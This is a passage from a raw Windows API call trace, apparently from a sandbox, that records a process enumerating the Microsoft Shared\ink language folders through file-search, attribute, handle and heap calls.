ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0143.364] GetLastError () returned 0x12 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.364] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0143.364] GetLastError () returned 0x12 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9905d0) returned 1 [0143.364] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9906d8) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0143.364] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.366] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.366] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.366] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.366] NtClose (Handle=0x198) returned 0x0 [0143.366] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.366] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.366] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994f80 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993638 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.368] GetLastError () returned 0x12 [0143.368] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.368] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.368] GetLastError () returned 0x12 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.368] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.368] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0143.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.369] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.370] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.370] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.370] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.370] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.370] NtClose (Handle=0x1a4) returned 0x0 [0143.370] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.370] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.370] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.370] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.370] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.370] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.371] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.371] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.371] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.371] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.371] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.371] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.371] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.371] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.371] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994fa0 [0143.372] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993740 [0143.372] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.372] GetLastError () returned 0x12 [0143.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.372] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.372] GetLastError () returned 0x12 [0143.372] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.372] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.372] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.372] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.372] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0143.372] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.375] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.375] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.375] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.375] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.375] NtClose (Handle=0x198) returned 0x0 [0143.375] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.375] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.376] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.376] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.376] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.376] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994fc0 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993848 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.377] GetLastError () returned 0x12 [0143.377] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.377] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, 